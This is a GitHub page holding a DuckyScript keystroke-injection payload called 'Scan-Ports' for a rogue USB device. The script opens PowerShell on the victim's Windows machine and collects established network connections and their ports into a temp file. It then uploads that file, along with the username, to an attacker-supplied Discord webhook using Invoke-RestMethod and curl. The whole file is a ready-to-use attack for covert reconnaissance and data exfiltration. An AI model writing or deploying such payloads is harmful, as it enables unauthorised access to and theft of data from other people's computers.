-
Notifications
You must be signed in to change notification settings - Fork 1
/
Scan-Ports
60 lines (60 loc) · 1.6 KB
/
Scan-Ports
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
DELAY 500
GUI r
DELAY 500
STRING powershell
ENTER
DELAY 1000
STRING $connections = Get-NetTCPConnection | ?{$_.State -eq 'Established'}
ENTER
STRING $openPorts = $connections | select -ExpandProperty LocalPort | sort -Unique
ENTER
STRING $filePath = "$env:TEMP\CaliPortsOpen_$env:COMPUTERNAME_$(Get-Date -Format 'yyyyMMdd').txt"
ENTER
STRING $currentNumber = $openPorts.Count
ENTER
STRING "`nOPEN PORTS: $currentNumber" | Out-File -FilePath $filePath
ENTER
STRING $openPorts | %{$portCount=1}{$port=$_;($connections|?{$_.LocalPort -eq $port}).RemotePort|select -Unique|%{"`n$portCount. [Local Port]: $port <--> [Remote Port]: $_" | Out-File -FilePath $filePath -Append;$portCount++}}
ENTER
STRING function Upload-Discord {
ENTER
STRING [CmdletBinding()]
ENTER
STRING param (
ENTER
STRING [parameter(Position=0,Mandatory=$False)]
ENTER
STRING [string]$file,
ENTER
STRING [parameter(Position=1,Mandatory=$False)]
ENTER
STRING [string]$text
ENTER
STRING )
ENTER
STRING $hookurl = 'YOUR WEBOKK HERE'
ENTER
STRING $Body = @{
ENTER
STRING 'username' = $env:username
ENTER
STRING 'content' = $text
ENTER
STRING }
ENTER
STRING if (-not ([string]::IsNullOrEmpty($text))){
ENTER
STRING Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)};
ENTER
STRING if (-not ([string]::IsNullOrEmpty($file))){curl.exe --insecure -F "file1=@$file" $hookurl}
ENTER
STRING }
ENTER
STRING Upload-Discord -file "$env:TEMP\CaliPortsOpen_$env:COMPUTERNAME_$(Get-Date -Format 'yyyyMMdd').txt"
ENTER
STRING exit
ENTER
DELAY 200
STRING exit
DELAY 500
ENTER